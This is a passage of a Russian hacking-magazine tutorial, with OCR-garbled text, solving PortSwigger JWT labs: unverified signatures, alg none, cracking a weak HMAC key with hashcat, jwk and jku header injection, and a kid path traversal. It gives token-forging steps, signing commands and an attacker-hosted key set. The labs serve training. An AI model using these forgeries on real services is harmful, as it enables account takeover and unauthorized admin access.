 (Key ID) — уни каль ный иден тифика тор клю ча в фор мате UUID4;• kid

 — алго ритм, которым были под писаны дан ные, в нашем слу чае
это RS256.

• alg

По лез ная наг рузка:
 (issuer) — тот, кто выписал JWT-токен, в лабора тории

это ;
• iss

portswigger

 (expires) — дата исте чения токена в фор мате Unix Timestamp, пос ле
которой он ста нет невалид ным. Если его декоди ровать c помощью

, мож но узнать, что токен ста нет невалид ным через час;

• exp

unixtimestamp.com
 (subject) — тот, для кого выписан токен, здесь ука зан поль зователь

, от име ни которо го мы вош ли.
• sub

wiener

Нам необ ходимо зай ти от име ни адми нис тра тора. Это зна чит, что нуж но
изме нить .subject

Най дем GET-зап рос в лич ный кабинет — это .

Отпра вим его в Repeater и выделим ту часть JWT-токена, в которой находит ся
полез ная наг рузка.

/my-account?id=wiener

По лез ная наг рузка JWT-токена

В пра вом углу в окне  мож но уви деть декоди рован ные дан ные.

Burp «из короб ки» уме ет декоди ровать Base64, но в даль нейшем мы будем
исполь зовать JWT Editor, который поз воля ет кодиро вать дан ные обратно
и под писывать. Заменим  с  логином адми нис тра тора, то есть

. И наж мем Apply changes.

Inspector

subject wiener
administrator

Как дол жен выг лядеть токен пос ле редак тирова ния

В резуль тате токен будет изме нен, но его под пись будет невалид ной. Уяз- 
вимость сер вера зак люча ется в том, что он неп равиль но про веря ет под пись
и исполь зует фун кцию, которая всег да счи тает, что под пись валид на. Так что
нам это не помеша ет, но если бы при ложе ние работа ло как надо, то мы бы
получи ли ошиб ку.

Убе рем из пути  и отпра вим зап рос. В отве те появи лась ссыл- 

ка на админ скую панель. Эта ссыл ка отоб ража ется толь ко для адми нис тра- 
тора, сле дова тель но, мы заш ли как админ, а не как .

?id=wiener

wiener

Ссыл ка на панель в лич ном кабине те адми нис тра тора

Что бы убе дить ся в этом, клик нем пра вой кноп кой мыши, выберем Request
in browser → In original session.

Кон текс тное меню, которое поз воля ет уви деть отренде рен ный ответ

Ско пиру ем зна чение.

Ссыл ка, по которой нуж но перей ти, что бы уви деть ответ в бра узе ре

И вста вим его в нашем бра узе ре.

Лич ный кабинет под адми нис тра тором

« »Your username is administrator

Мы дей стви тель но ста ли адми нис тра тором.
Те перь нам нуж но зай ти в саму админ скую панель. Мы мог ли бы вновь

изме нить  в самом Burp Suite и пов торно открыть новую ссыл ку, но это
неудоб но. Гораз до про ще заменить токен в самом бра узе ре, что бы выпол-
нять дей ствия от нашего нового поль зовате ля.

Path

Кли каем пра вой кноп кой и выбира ем Inspect, что бы открыть меню раз- 
работ чика.

Инс тру мен ты раз работ чика

За тем выберем Storage — это хра нили ще бра узе ра, где лежит наш токен.

Storage — вклад ка, на которой отоб ража ется бра узер ное хра нили ще

Он находит ся в Cookies, кука единс твен ная, и она называ ется .session

Ку ка поль зовате ля с записан ным в нее токеном JWT

Сей час в ней лежит ста рый токен JWT поль зовате ля wiener. Заменим его тем,
что мы соз дали. И наж мем Admin panel. Если ты все сде лал пра виль но, дол- 
жна открыть ся админка.

Лич ный кабинет пос ле замены куки и обновле ния стра ницы

По заданию нам надо уда лить поль зовате ля , что бы лабора тория счи- 
талась выпол ненной. Нажима ем Delete нап ротив него и получа ем поз драв- 
ления.

carlos

Поз драв ление с успешным про хож дени ем лабора тории

Мы успешно прош ли пер вую лабора торию!

Продолжение статьи →

https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature
https://www.unixtimestamp.com/


JWT-ТОКЕНЫ ОТ И ДО
РАЗБИРАЕМСЯ С JSON WEB
TOKENS И АТАКАМИ НА НИХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÀËÃÎÐÈÒÌ ÏÎÄÏÈÑÈ NONE

Пред ста вим, что на этот раз сер вер кор рек тно про веря ет под пись. Это зна- 
чит, что если мы изме ним тело, то ста рая под пись ста нет невалид ной и сер- 
вер не при мет токен.

Еще раз взгля нем на заголо вок из пер вой лабора тор ной работы.

{
   "kid": "a2b8c974-3de8-4bf1-8abc-b8753873b25c",
   "alg": "RS256"
}

Па раметр  ука зыва ет, какой алго ритм необ ходимо исполь зовать сер веру
при про вер ке под писи. В дан ном слу чае это RS256, но какие алго рит мы
еще сущес тву ют?

alg

По мимо RS256, есть мно жес тво вари антов: HS256 (384/512), ES256
(384/512) и none. Пос ледний осо бен но при меча телен, пос коль ку говорит сер- 
веру, что под писи быть не дол жно и дан ные счи тают ся валид ными «как есть».

{
   "kid": "a2b8c974-3de8-4bf1-8abc-b8753873b25c",
   "alg": "none"
}

Раз работ чики могут исполь зовать  при тес тирова нии, что бы про верять

собс твен ный сер вис от име ни раз ных поль зовате лей. Менед жер, адми нис- 
тра тор, кон суль тант и так далее — у каж дой из ролей дол жны быть дос тупны
собс твен ные воз можнос ти, и JWT без под писи удоб но исполь зовать, что бы
про верять их во вре мя раз работ ки.

none

Но если и в production-сре де сер вер безого вороч но доверя ет ука зан ному
поль зовате лем зна чению , которое хакер может изме нить на ,

это зна чит, что его очень и очень прос то ском про мети ровать.

alg none

INFO

Да же если под пись не исполь зует ся, Payload дол- 
жен закан чивать ся точ кой.

Ëàáà: JWT authentication bypass via flawed signature verification
• Ла бора тор ная работа на сай те PortSwigger

От кро ем лабора торию.

Глав ная стра ница бло га

Аутен тифици руем ся от име ни выдан ной учет ки wiener.

Лич ный кабинет поль зовате ля wiener

Най дем зап рос на откры тие лич ного кабине та и отпра вим его в Repeater.

Вы деля ем зап рос в History и отправ ляем в Repeater

Сде лаем то же, что делали в прош лой лабора тории:
убе рем из зап роса ;• ?id=wiener

вы делим полез ную наг рузку и испра вим wiener на administrator в теле.•

Как дол жен выг лядеть JWT-токен пос ле редак тирова ния

От пра вим зап рос и уви дим, что теперь под пись про веря ется успешно.
Об этом говорит редирект обратно на стра ницу вхо да.

Сер вер не при нял наш токен, пос коль ку под пись невалид на

Вы делим заголо вок. В нем ука зан алго ритм HS256.

Ал горитм HS256 в заголов ке токена

Сей час сер вер смот рит на наш JWT-токен, сам вычис ляет для него под пись
и срав нива ет с той, что мы отпра вили. Под писи сов падать не будут, пос коль ку
мы изме нили содер жимое.

Да вай ска жем сер веру, что он не дол жен вычис лять под пись. Для это го
выделим заголо вок, вмес то RS256 напишем  и при меним изме нения.none

HS256 нуж но заменить none

Не забудь уда лить под пись — это блок дан ных пос ле пос ледней точ ки.
И вновь отпра вим зап рос. Если ты все сде лал пра виль но, дол жна появить ся
ссыл ка на панель адми на.

Ссыл ка на панель адми нис тра тора

За меним получив ший ся токен в бра узе ре и откро ем лич ный кабинет.

Лич ный кабинет адми нис тра тора

Сра бота ло! Заходим в админ скую панель и уда ляем поль зовате ля carlos.

Поз драв ление с успешным про хож дени ем лабора тории

Мы успешно прош ли вто рую лабора торию.

Продолжение статьи →

https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification


JWT-ТОКЕНЫ ОТ И ДО
РАЗБИРАЕМСЯ С JSON WEB
TOKENS И АТАКАМИ НА НИХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÁÐÓÒÔÎÐÑ ÑÅÊÐÅÒÎÂ

Пред ста вим, что раз работ чики наконец-то научи лись пра виль но про верять
под пись и перес тали доверять поль зователь ско му вво ду.

Как ты понима ешь, прис тавка в исполь зуемом алго рит ме под писи озна- 
чает, что исполь зует ся HMAC (алго ритм аутен тифика ции сооб щений) с при- 
мене нием хеш-фун кции SHA-256.

Как вычис ляет ся HMAC-SHA256 — не сек рет. Выг лядит это сле дующим
обра зом:

HMAC_SHA256(key, message) = SHA256((key ⊕ opad) ∥ SHA256((key ⊕ 
ipad) ∥ message)) 

Здесь
 — сек ретный ключ, воз можно допол ненный или сок ращен ный до нуж- 

ной дли ны;
• key

 — сооб щение для аутен тифика ции;• message

 и  — кон стан ты , опре делен ные стан дартом HMAC;• opad ipad padding

 — побито вый XOR;• ⊕
 — опе рация кон катена ции.• ∥

Зная ключ, мы смо жем генери ровать собс твен ную под пись этим же алго рит- 
мом. Что бы его най ти и научить ся под писывать про изволь ные дан ные, мы
дол жны взять исходный заголо вок и пей лоад и начать при менять к ним фун- 
кцию HS256 с раз ными клю чами, пока не получим такую же под пись, которую
отдал нам изна чаль но сер вер.

INFO

Очень важ но выбирать надеж ный ключ, что бы
зло умыш ленник не мог его сбру тить (переб рать)
и начать под писывать им собс твен ные токены.
Очень час то раз работ чики не задумы вают ся
об этом и исполь зуют очень прос тые ком бинации
или клю чи по умол чанию, которые всем извес- 
тны.

Ес ли стро ки будут иден тичны, это будет зна чить, что мы подоб рали ключ шиф- 
рования.

Ëàáà: JWT authentication bypass via weak signing key
• Ла бора тор ная работа на сай те PortSwigger

Итак, вся безопас ность JWT с алго рит мом HS256 дер жится на том, нас коль ко
надеж ный был выб ран сим метрич ный ключ. Давай для начала добудем JWT-
токен, что бы иметь воз можность его подоб рать.

От кро ем лабора торию.

Глав ная стра ница бло га

Зай дем в лич ный кабинет под тес товым акка унтом и получим JWT-токен. Если
открыть вклад ку JSON Web Token, мож но убе дить ся, что исполь зует ся алго- 
ритм с сим метрич ным клю чом.

JSON Web Token показы вает декоди рован ное содер жимое JWT-токена

Ско пиру ем весь токен. Теперь нам нуж но подоб рать ключ, для это го мы
будем исполь зовать инс тру мент под наз вани ем hashcat. Эта ути лита поз воля- 
ет вос ста нав ливать пароли из хешей с помощью раз личных атак: по сло варю,
по мас ке, на осно ве пра вил и так далее.

Нам нужен пер вый вари ант, то есть ата ка по сло варю. В качес тве сло варя
будем исполь зовать . Это набор стан дар тных сек ретов, которые
исполь зуют ся по умол чанию в раз ных биб лиоте ках.

jwt.secrets.list

Ути лита hashcat поможет взять все извес тные клю чи из это го спис ка
и опре делить, какой из них исполь зовал ся для под писи нашего JWT-токена,
пос ледова тель но под писывая дан ные до тех пор, пока мы не получим такую
же под пись, какую нам выдал сер вер.

Ско пиру ем JWT-токен и под ста вим его в коман ду:

 0 hashcat -a -m 16500 <jwt> <wordlist> 

Раз берем ее по поряд ку:
 — флаг, который озна чает, что мы будем исполь зовать ата ку по сло- 

варю;
• -a 0

 — ука зыва ет, что тип хеша, который будет взла мывать ся, —
это JSON Web Token (JWT). Код 16500 соот ветс тву ет HMAC-SHA256 JSON
Web Token;

• -m 16500

 — это наш JWT;• <jwt>

 — путь к сло варю, который мы толь ко что ска чали.• <wordlist>

Ре зуль тат выпол нения — на скрин шоте ниже.

Ре зуль тат выпол нения hashcat

Спус тя две секун ды hashcat закон чил свою работу. Видим вот такую стро ку:

Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) 
Digests (new) 

Она озна чает, что ключ успешно подоб ран из сло варя. А нап ротив нашего
JWT-токена через дво ето чие мож но уви деть и сам ключ.

eyJraWQiOiI5YWUwMTFkMi1mNTdkLTQ5ZTYtYWMyYS0xM2FlNmU0MWYzYzciLCJhbGciO
iJIUzI1NiJ9.
eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyMDc3MTM5Niwic3ViIjoid2llbmVyI
n0.
Zt_AWlB6_9nOdJA8JIEAUTYEukICAqTj8WTP-vyt9go:secret1 

Это . Теперь мы можем под писывать дан ные тем же клю чом, что
и сер вер.

secret1

Вер немся в Burp и сме ним логин на .administrator

Ло гин wiener нуж но сме нить на administrator в теле токена JWT

Те перь наш JWT нуж но под писать. Перей дем на вклад ку JWT Editor, наж мем
на кноп ку New Symmetric Key, затем Generate. Появив ший ся параметр  —
это слу чай ный ключ, который сге нери рова ло нам рас ширение. Нам же нужен
наш собс твен ный, заменим его . Дол жно получить ся, как на скрин- 

шоте (за исклю чени ем парамет ра ).

k

secret1
kid

Соз дание сим метрич ного сек рета с сек ретом, который мы наб рутили

Сох раня ем.

Вклад ка JWT Editor пос ле сох ранения сек рета

Те перь мы можем исполь зовать этот ключ, что бы под писывать JWT как сер- 
вер. Для это го воз вра щаем ся в Repeater. Нажима ем кноп ку Sign, оставля ем
все как есть и нажима ем OK.

Про цесс под писания JWT-токена

Как бы я ни пытал ся отправ лять зап рос пос ле это го, у меня ничего не получи- 
лось. Рас ширение дав но не обновля лось, либо оно пло хо работа ет
в Windows.

По это му мы научим ся под писывать токены вруч ную, ведь мы зна ем алго- 
ритм. Перехо дим в Bash на Linux и выпол няем сле дующий однос троч ник:

  
   | s/   s/ + / 

echo -n <HEADER.PAYLOAD> | openssl dgst -sha256 -hmac secret1 -binary
| openssl base64 -e -A sed \+/-/ | sed -E = $/

Вмес то  встав ляем наш JWT-токен. Тот, где мы сме нили

 на .

<HEADER.PAYLOAD>
wiener administrator

В резуль тате в кон соли выводит ся готовая под пись.

Под писание токена JWT из кон соли

Встав ляем ее на мес то невалид ной и отправ ляем зап рос.

Ссыл ка на панель адми нис тра тора

Дос туп к админ ской панели открыт!
За ходим в бра узер, меня ем ста рый токен на новый и уда ляем поль зовате- 

ля carlos.

Поз драв ление с успешным про хож дени ем лабора тории

Мы успешно прош ли третью лабора торию.

Продолжение статьи →

https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key
https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list


JWT-ТОКЕНЫ ОТ И ДО
РАЗБИРАЕМСЯ С JSON WEB
TOKENS И АТАКАМИ НА НИХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÈÍÚÅÊÖÈÈ Â ÏÀÐÀÌÅÒÐÛ ÇÀÃÎËÎÂÊÀ

Пре дыду щие уяз вимос ти были свя заны с сим метрич ными алго рит мами шиф- 
рования, ког да есть один-единс твен ный при ват ный ключ. Теперь мы перехо- 
дим к раз делу с асим метрич ным шиф ровани ем в JWT-токенах, ког да исполь- 
зуют ся при ват ный и пуб личный клю чи.

Сер вер под писыва ет сво им при ват ным клю чом (который он никому
не переда ет) токены, а мы рас шифро выва ем их с помощью пуб лично го клю ча
и убеж даем ся в том, что они были под писаны под линным сер вером.

Схе матич ное изоб ражение асим метрич ного шиф рования

Сог ласно спе цифи кации JWS, в заголов ке сущес тву ет толь ко один обя- 
затель ный параметр — это параметр , озна чающий исполь зуемый алго- 

ритм под писи, с которым мы уже стал кивались ранее. Одна ко на прак тике,
ког да ты будешь пен тестить реаль ное веб-при ложе ние, их ока жет ся куда
боль ше.

alg

Нап ример, есть проб лема: отку да поль зователь или дру гое при ложе ние,
которое будет исполь зовать токен, возь мет пуб личный ключ, что бы самому
убе дить ся в том, что JWT-токен под писал сер вер, а не кто-то дру гой? Есть
два вари анта:
1. При ложе ние отда ет в отве те параметр  (иден тифика тор клю ча Key ID),

по которо му мы можем отпра вить зап рос в реестр это го же при ложе ния
и получить пуб личный ключ. Тре бует выдать дос туп ко внут ренне му реес- 
тру, а это соз дает допол нитель ные рис ки.

kid

2. При ложе ние отда ет JWK — параметр, в который сра зу записан пуб личный
ключ. На пер вый взгляд, удоб нее и про ще реали зовать, но тут тоже мож но
допус тить ошиб ку.

За голов ки JWT-токенов (которые так же извес тны как JOSE-заголов ки) час то
содер жат ряд дру гих парамет ров. Вот какие парамет ры обыч но могут быть
нам инте рес ны:

 (JSON Web Key) — это струк тура дан ных в фор мате JSON, в которую
записы вает ся пуб личный ключ. Парамет ры этой струк туры пред став ляют
основные свой ства клю ча, в том чис ле его зна чение;

• jwk

 (JSON Web Key Set URL) — если пуб личных клю чей нес коль ко, в этом
парамет ре мож но ука зать URL, по которо му будет под гру жать ся JSON-
объ ект с пуб личны ми клю чами;

• jku

 (Key ID) — уни каль ный иден тифика тор клю ча, который сер веры могут
исполь зовать для опре деле ния того клю ча, который им необ ходимо
исполь зовать, если их нес коль ко.

• kid

Эти парамет ры при сыла ет сам сер вер. Но если сер вер безого вороч но
доверя ет поль зовате лю и не исполь зует механизм белых спис ков, то
это может при вес ти к тому, что зло умыш ленник смо жет отпра вить собс твен- 
ный пуб личный ключ, который он сге нери рует сам. Это поз волит ему под- 
писать про изволь ные дан ные, а сер вер дей стви тель но убе дит ся в его под- 
линнос ти с помощью пуб лично го клю ча, прис ланно го зло умыш ленни ком.

Все три уяз вимос ти, которые мож но допус тить с каж дым из парамет ров
и о которых мы будем говорить ниже, свя заны с довери ем к поль зователь ско- 
му вво ду.

ÈÍÚÅÊÖÈß ×ÅÐÅÇ ÏÀÐÀÌÅÒÐ JWK

Итак, пред положим, сер вер прис лал нам параметр . Он так же может

не при сылать его, но по-преж нему под держи вать — с этим мы стол кнем ся
даль ше.

jwk

Вот при мер заголов ка JWT-токена с парамет рами :jwk

{
   : , "kid" "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG"
   : , "typ" "JWT"
   : , "alg" "RS256"
   : "jwk" {

: ,        "kty" "RSA"
: ,        "e" "AQAB"

: ,        "kid" "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG"
:        "n" "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"

   }
}

C  и  мы уже зна комы, вот что озна чают осталь ные парамет ры:kid alg
 — опре деля ет тип клю ча (key type). В дан ном слу чае  ука зыва ет,

что ключ явля ется клю чом RSA;
• kty RSA

 — экспо нен та клю ча (exponent). Зна чение  — откры тая экспо нен та
RSA;

• e AQAB

 — модуль клю ча (modulus). Это длин ное зна чение пред став ляет модуль
RSA, который исполь зует ся в рас четах шиф рования и дешиф рования.

• n

В иде але сер веры для про вер ки под писей JWT-токенов дол жны исполь зовать
толь ко те клю чи, которые у них есть в белом спис ке. Одна ко неп равиль но
нас тро енные сер веры иног да будут исполь зовать любой ключ, встро енный
в параметр .jwk

Ата кующий может зло упот ребить этим поведе нием, под писав модифи- 
циро ван ный JWT с помощью собс твен ного зак рытого клю ча RSA, а затем
вста вить соот ветс тву ющий откры тый ключ в заголо вок .jwk

Ëàáà: JWT authentication bypass via jwk header injection
• Ла бора тор ная работа на сай те PortSwigger

На чина ем про хож дение. Нас сно ва при ветс тву ет при выч ный блог.

Глав ная стра ница бло га

За ходим в акка унт под тес товой учет кой и смот рим на токен. Пер вое, что бро- 
сает ся в гла за, — это новый алго ритм. Если во всех пре дыду щих задани ях нас
встре чал HS256, то на этот раз это RS256.

Но вый алго ритм RS256 — он пред полага ет исполь зование асим метрич -
ного шиф рования

Сер вер исполь зует асим метрич ную крип тогра фию и под писыва ет дан ные
при ват ным клю чом, который лежит у него на сер вере. Давай про верим, уяз- 
вим ли он к ата ке с внед рени ем собс твен ного пуб лично го клю ча.

Пе рехо дим в JWT Editor, нажима ем New RSA Key и генери руем собс твен- 
ный ключ.

Про цесс соз дания клю ча RSA на вклад ке JWT Editor

На жима ем OK. Теперь воз вра щаем ся в Proxy → History, выбира ем зап рос
в лич ный кабинет и отправ ляем его в Repeater. Выделя ем полез ную наг рузку
в клю че JWT и заменя ем поль зовате ля wiener поль зовате лем administrator.

В теле токена JWT нуж но сме нить wiener на administrator

Дан ные замени ли, теперь дело за под писью. Откры ваем JSON Web Token,
нажима ем Attack. Выбира ем Embedded JWT и выбира ем наш толь ко что соз- 
данный RSA-ключ. Нажима ем ОK.

Про цесс под писания JWT-токена асим метрич ным клю чом

Как мож но заметить на кар тинке ниже, рас ширение помог ло вста вить
в Header новый параметр  с нашим собс твен ным пуб личным клю чом. Дан- 

ные тоже под писались — нашим при ват ным клю чом, который свя зан с пуб- 
личным. Отправ ляем зап рос и видим завет ную над пись Admin panel.

jwk

Ссыл ка на панель адми нис тра тора

Ко пиру ем токен, встав ляем его в бра узер, перехо дим в админку и уда ляем
Кар лоса.

Уве дом ление об успешном про хож дении лабора тории

Ла бора тория успешно прой дена!

Продолжение статьи →

https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection


JWT-ТОКЕНЫ ОТ И ДО
РАЗБИРАЕМСЯ С JSON WEB
TOKENS И АТАКАМИ НА НИХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÈÍÚÅÊÖÈß ×ÅÐÅÇ ÏÀÐÀÌÅÒÐ JKU

Эта ата ка похожа на пре дыду щую, толь ко вмес то того, что бы нап рямую внед- 
рять откры тый ключ пря мо в заголо вок, мы помеща ем его на собс твен ный
сайт, а в заголов ке оставля ем толь ко ссыл ку на него.

INFO

jku (JWK Set URL) — это URL, по которо му мы
про сим уяз вимый сер вер заг рузить наши пуб- 
личные клю чи и исполь зовать их для про вер ки
под писи.

На самом сер вере дол жны лежать клю чи в фор мате JWK Set. Это объ ект
JSON, сос тоящий из одно го парамет ра . В этом парамет ре может быть

записа но мно го пуб личных клю чей в фор мате обыч ного .

keys
jwk

Вот при мер:

{
   "keys": [
       {
           "kty": "RSA",
           "e": "AQAB",
           "kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab",
           "n": 
"o-
yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67W
hsN3JvaFYw-fhvsWQ"
       },
       {
           "kty": "RSA",
           "e": "AQAB",
           "kid": "d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA",
           "n": 
"fc3f-
yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw
-dfg6DH-asAScw"
       }
   ]
}

Здесь ука зано два пуб личных клю ча, но может быть гораз до боль ше. Нам хва- 
тит и одно го.

Для таких клю чей так же есть общепри нятый путь: 

.

/.well-known/jwks.
json

INFO

Ес ли сер вер и под держи вает фор мат jku, на него
тоже дол жны рас простра нять ся белые спис ки.
Помимо внед рения пуб личных клю чей зло умыш- 
ленни ка, здесь так же воз можны ата ки типа SSRF.

Ëàáà: JWT authentication bypass via jku header injection
• Ла бора тор ная работа на сай те PortSwigger

Для это го задания нам пре дос тавили Exploit Server, на котором мы смо жем
раз местить клю чи. Давай заранее изме ним  с  на 

. Клю чей у нас пока нет, поэто му перей дем в Burp Suite,

а сюда вер немся поз же.

file /exploit /.well-
known/jwks.json

Exploit Server с нас тро енным путем к фай лу

По уже отра ботан ному алго рит му вой дем в акка унт, перей дем к зап росу
и сме ним wiener на administrator в теле JWT-токена.

То кен JWT с логином адми нис тра тора

К сожале нию, в JWT Editor не авто мати зиро вана эта ата ка, так что зай мем ся
ею вруч ную. Для это го в заголо вок добавим ключ  и ука жем ссыл ку на наш

Exploit Server.

jwk

В заголов ке JWT-токена нуж но ука зать параметр jwk

У меня получил ся сле дующий заголо вок:

{
   "kid": "54ab4e74-d36c-4d67-850f-2dbfd8009e58",
   "alg": "RS256",
   "jwk": "https://exploit-0ac500c503396ee5810229a401520050.
exploit-server.net/.well-known/jwks.json"
}

Под пишем его. Для это го наж мем Sign, выберем пос ледний пункт с обновле- 
нием заголов ка и наж мем ОK. Ключ RSA у меня оста ется из прош лого
задания. Ты можешь сге нери ровать новый на вклад ке JWK Editor, если у тебя
его не ока залось.

Про цесс под писания токена

Те перь нуж но раз местить клю чи на сер вере. Для это го перей дем в JWT Editor
и дваж ды щел кнем на нашем единс твен ном клю че.

Нуж но извлечь атри буты, необ ходимые для jwk

Здесь мно го атри бутов, ско пиру ем все поле и обер нем в фор мат JWK Set.
Вста вим меж ду квад ратны ми скоб ками ско пиро ван ное зна чение.

{
   "keys": []
}

Вот что у меня получи лось:

{
   "keys": [
       {
           "p": 
"3IRsQoVyh0-7hPpptHQ36Tge4cpOwwDxA8iZjXQpOBBQqTf5WpVFJc28UpipC5RoAZ-
DDYUJMZRhqpRA1nG8So8CVJEJTGeu1iO3gC21iaK7okzEUWGspLOxgBPit5KtpnqaQtze
NmRPZeMLDaJ7rBf6RydUg-No4nFH_KYYRAM"
,
           "kty": "RSA",
           "q": 
"vS_wzSWysTQGVkxvMev8jIf_RtFW-
B5JMyPpkHov0u9fAnGSqkJTqDe2dcgK5jdlArzf6EdbJzqkRZFlLC4i7_LP7Wg71KvWkF
7eE2oC7X8F1nD9bbtI-Xeuz3gOtH8rcJdbYdg43eXoCVmR6-
WQ95j32sFe7i8eIt0n__4kvK8"
,
           "d": 
"R74TV7cS9c_SA5x4p13bdJx1-7p45yoxMlF8iCIUfLyZX4hqdVGPWygW11P-
p8g0YyXKvLfGUcSRWeHVLQZEYSUT3u8Op734Ycg1f8nn00GZj3ajqK-
y1auCbaiZSyjScl7oKTCzL-xcU--drR4KhSA9PQRdAduxCWqc816L-
lRmpSuBnZ6c9vSETFkU9GQbkTJNorwKuO8pDe5lOnrt8ULilKfoZ-
6BcyMWptsFNXR05afpjtXsNgsl2a136KRLSC2JNyseROipi1f4jK-
LoEumTO_0MuvJ7t_f94Xy3LFsn-SL4yS7G99hW8K9GqmcUddibbqcQTqNQ2rDCWIcAw"
,
           "e": "AQAB",
           "kid": "45a3ae3f-c28f-42db-80f5-deb3256dd93f",
           "qi": 
"i91AYPzed-J6FojbvsugxbMOH5RBJIQ-4sV1MyqGhiiPByCcRU-
bTzWqEl_bJmq_rKefh-yeHvBhmWG7xCj1Zl_MCEUqMvy-
B2AYhGXNDlFYQK7fTMyD4ifLEbbpc05Yz8iEVwECuUOHrKPhbTmvCwOgvrqucOS8qg0kd
O5g-7E"
,
           "dp": 
"WCrOCi7G4tj7NajVeKP68tFQb6Buq0MGGigrVMY78MF9LptFpHUIJ5xBjpihBhM5HmUD
hfVJ_ru_7O7HmbXxvbG-EcfHevf9jHrNVH9yFOyurq6Y050E5Pk_n-DThegsa-
KbKN6cLg0fPbJwaewsHFud4rMT9IOJHPiD-r0B-Lc"
,
           "dq": 
"LyPk8pk0H2eBNLuy8VOGCFZSy4iaDRUu1Clcp31qsTqoB-
nYy8ffJIlNU6fW32pqJvZ9LFmrYuj_yb3i4dFVL0jnepaAYgu3WR3qZBgERr1h7P8WhuM
l2dNyoYuezmbpohJ02LqR4OjKmpnQ_GClcKyTBdUtHFhtP-6vauAes00"
,
           "n": 
"ovcPqdi-
LKozZXjExEaZ3wk2BmtTJnqMa4wODS6OzQDJRtzOGabuAeccdH4RWENdkJC3zODQ640WJ
85WlOk2lgd0Fx0T4xjk9Q90cfErdQIEWSz3Ensymgej-
riF379iFqoyulmYIQoD830Q9VqzhT1Whw2AIgHzfXByVm16eknqUi4xJumrk4G3OXYUTW
UI8p4SFGkpzuvLb9iESOFzoZKuVVwPjzJZ8zpbeEMmtu7W9Wi1E4tpKnHz7y4I0Z_0T_i
XuFBIM7vnDboKDacahvNZBoAHmsde0CWDIi0GkWsBXpsxvKRjiSli2e2kgl9fDtVFWnCt
C6UJwGKQ5vSyDQ"
       }
   ]
}

Убе рем отсю да сле дующие парамет ры:
 — один из двух прос тых мно жите лей модуля;• p

 — вто рой прос той мно житель модуля;• q

 — пра виль ная экспо нен та;• d

 — коэф фици ент обратно го пре обра зова ния;• qi

 — при ват ная экспо нен та для прос того мно жите ля ;• dp p

 — при ват ная экспо нен та для прос того мно жите ля .• dq q

Они дол жны быть стро го кон фиден циаль ными и никог да не дол жны пуб- 
ликовать ся, ина че кто угод но смо жет заполу чить наш при ват ный ключ.

Ито говый резуль тат:

{
   "keys": [
       {
           "kty": "RSA",
           "e": "AQAB",
           "kid": "45a3ae3f-c28f-42db-80f5-deb3256dd93f",
           "n": 
"ovcPqdi-
LKozZXjExEaZ3wk2BmtTJnqMa4wODS6OzQDJRtzOGabuAeccdH4RWENdkJC3zODQ640WJ
85WlOk2lgd0Fx0T4xjk9Q90cfErdQIEWSz3Ensymgej-
riF379iFqoyulmYIQoD830Q9VqzhT1Whw2AIgHzfXByVm16eknqUi4xJumrk4G3OXYUTW
UI8p4SFGkpzuvLb9iESOFzoZKuVVwPjzJZ8zpbeEMmtu7W9Wi1E4tpKnHz7y4I0Z_0T_i
XuFBIM7vnDboKDacahvNZBoAHmsde0CWDIi0GkWsBXpsxvKRjiSli2e2kgl9fDtVFWnCt
C6UJwGKQ5vSyDQ"
       }
   ]
}

По мес тим его на наш сер вер. Вста вим в поле , а в  сме ним

 с  на , пос коль- 

ку ответ мы отда ем в фор мате JSON.

Body Head
Content-Type text/html; charset=utf-8 application/json

Стра ница Exploit Server с нашими пуб личны ми клю чами

Не забудь нажать Store, что бы сох ранить изме нения.
Вер немся в Burp и отпра вим под писан ный ранее зап рос.

Ссыл ка на панель адми нис тра тора

По яви лась ссыл ка на Admin panel, а это зна чит, что мы ста ли адми нис тра- 
тором. Воз вра щаем ся в лич ный кабинет и уда ляем Кар лоса.

Уве дом ление об успешном про хож дении лабора тории

Ла бора тория успешно прой дена!

Продолжение статьи →

https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection


JWT-ТОКЕНЫ ОТ И ДО
РАЗБИРАЕМСЯ С JSON WEB
TOKENS И АТАКАМИ НА НИХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÈÍÚÅÊÖÈß ×ÅÐÅÇ ÏÀÐÀÌÅÒÐ KID

Сер веры могут исполь зовать для под писи раз ных типов дан ных нес коль ко
крип тогра фичес ких клю чей, помимо JWT. Имен но поэто му в заголов ке JWT-
токенов дол жен быть обя затель ный параметр , который помога ет сер веру

опре делить, какой ключ сле дует исполь зовать при про вер ке под писи.

kid

Клю чи на самом сер вере хра нят ся в фор мате JWK Set. Спе цифи кация JWS
не говорит о том, как их пра виль но хра нить — в фай ле на дис ке или в базе
дан ных. Помимо это го, сам иден тифика тор  тоже никак не рег ламен- 
тирован, это может быть любая про изволь ная стро ка, которая при дет ся
по вку су раз работ чику.

kid

Ес ли неп равиль но работать с этой стро кой, то, как и при любой работе
с базой дан ных, может воз никнуть уяз вимость SQL injection, бла года ря
которой зло умыш ленник смо жет извлечь содер жимое базы. Если же клю чи
хра нят ся на дис ке, это может при вес ти к обхо ду катало гов и уяз вимос ти path
traversal с чте нием про изволь ных фай лов на дис ке сер вера.

{
   "kid": "../../path/to/file",
   "typ": "JWT",
   "alg": "HS256",
